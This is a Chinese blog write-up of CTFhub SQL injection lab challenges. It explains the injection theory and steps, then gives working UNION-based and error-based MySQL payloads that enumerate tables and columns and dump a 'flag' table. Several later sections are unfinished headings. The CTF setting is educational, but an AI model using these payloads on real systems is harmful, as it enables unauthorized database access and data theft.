CTFhub-SQL注入

SQL注入

原理

SQL注入攻击是通过操作输入来修改SQL语句,用以达到执行代码对WEB服务器进行攻击的方法。简单的说就是在post/getweb表单、输入域名或页面请求的查询字符串中插入SQL命令,最终使web服务器执行恶意命令的过程。可以通过一个例子简单说明SQL注入攻击。假设某网站页面显示时URL为http://www.example.com?test=123,此时URL实际向服务器传递了值为123的变量test,这表明当前页面是对数据库进行动态查询的结果。由此,我们可以在URL中插入恶意的SQL语句并进行执行。另外,在网站开发过程中,开发人员使用动态字符串构造SQL语句,用来创建所需的应用,这种情况下SQL语句在程序的执行过程中被动态的构造使用,可以根据不同的条件产生不同的SQL语句,比如需要根据不同的要求来查询数据库中的字段。这样的开发过程其实为SQL注入攻击留下了很多的可乘之机。

注入过程

第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。 [6] 
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。 [6] 
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。 [6] 
第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。 [6] 
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。 [6]

注入方法

1、数字型注入
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。 [7] 
2、字符型注入
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。 [7]
3、基于布尔的盲注
因为web的页面返回值都是True或者False,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。 [1] 
4、基于时间的盲注
当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面相应的时间差来判断该页面是否存在SQL注入点。 [1] 
5、联合查询注入
使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的select必须有相同列、且各列的数据类型也都相同。联合查询注入可在链接最后添加order by 9基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。 [1] 
6、基于错误信息的注入
此方法是在页面没有显示位,但是echo mysql_error();函数输出了错误信息的时候方能使用。优点是注入速度快,缺点是语句较为复杂,而且只能用limit依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用echo mysql_error();输出了错误信息时使用。 [1]

整数型注入

在这里插入图片描述
/?id=1+order+by+2#
在这里插入图片描述
/?id=1+order+by+3#
在这里插入图片描述

报错找出回显点

/?id=-1+union%20select%201,2#
在这里插入图片描述

查表

/?id=-1+union%20select%20database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%20#
在这里插入图片描述

查字段

/?id=-1+union%20select%20database(),group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27flag%27%20#
在这里插入图片描述

查字段值

/?id=-1+union%20select%20database(),group_concat(flag)%20from%20flag%20#
在这里插入图片描述

字符型注入

SQL注入 字符型注入, 尝试获取数据库中的 flag
在这里插入图片描述

查列数

3
2

查看回显点

/?id=-1%27+union+select+1%2C2%23
在这里插入图片描述

查表名

/?id=-1%27+union+select+database()%2Cgroup_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23
在这里插入图片描述

查字段

/?id=-1%27+union+select+database()%2Cgroup_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%23
在这里插入图片描述

查字段值

/?id=-1%27+union+select+database()%2Cgroup_concat(flag)%20from%20flag%23
在这里插入图片描述

报错注入

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

查库名

*1 Union select count(*),concat(database(),0x26,floor(rand(0)2))x from information_schema.columns group by x;
在这里插入图片描述

查表名

*1 Union select count(*),concat((select table_name from information_schema.tables where table_schema=‘sqli’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by x
在这里插入图片描述
*/?id=1%20Union%20select%20count(*),concat((select%20table_name%20from%20information_schema.tables%20where%20table_schema=%27sqli%27%20limit%201,1),0x26,floor(rand(0)2))x%20from%20information_schema.columns%20group%20by%20x
在这里插入图片描述

查字段

*1 Union select count(*),concat((select column_name from information_schema.columns where table_schema=‘sqli’ and table_name=‘flag’ limit 0,1),0x26,floor(rand(0)2))x from information_schema.columns group by
在这里插入图片描述

查字段值

/?id=1+Union+select+count%28%29%2Cconcat%28%28select+flag+from+flag+limit+0%2C1%29%2C0x26%2Cfloor%28rand%280%29*2%29%29x+from+information_schema.columns+group+by+x*
在这里插入图片描述

待续……

布尔盲注

时间盲注

MySQL结构

Cookie注入

UA注入

Refer注入

过滤空格

二次注入

~~ Where后注入~~

~~ AND/OR注入~~

~~ ORDER BY 注入~~

~~ UPDATE注入~~

~~ INSERT注入~~

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值